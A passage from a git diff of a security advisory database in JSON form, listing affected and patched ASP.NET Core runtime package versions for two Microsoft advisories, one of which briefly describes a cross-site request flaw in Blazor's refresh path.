8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-xhj5-c3g8-pfj8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109476"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/508"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/1fa5639647ddd2061bafe2ccf60bdc1c345b0b34"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/7ce5a6b05d4d6694bb688bf7053ebb594c00a8e5"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70471"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v10.0.15"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v8.0.34"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v9.0.23"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/9.0/9.0.23/9.0.23.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-109476"}],"database_specific":{"cwe_ids":["CWE-116"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:02:40Z","nvd_published_at":"2026-11-10T19:18:16Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-xw2x-23jm-j582.json b/data/NuGet/GHSA-xw2x-23jm-j582.json
new file mode 100644
index 0000000000..6e2136ea4d
--- /dev/null
+++ b/data/NuGet/GHSA-xw2x-23jm-j582.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-xw2x-23jm-j582","published":"2026-11-10T23:33:36Z","modified":"2026-11-10T23:45:08.363407142Z","aliases":["CVE-2026-109481"],"summary":"Microsoft Security Advisory CVE-2026-109481 - ASP.NET Core Elevation of Privilege Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nThe Blazor/SignalR `/_blazor/refresh` path can accept a cross-site request that binds a victim's authenticated principal to an attacker-owned circuit.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/506\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-352\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.6.26359.118, <= 11.0.0-rc.3.26522.148 | 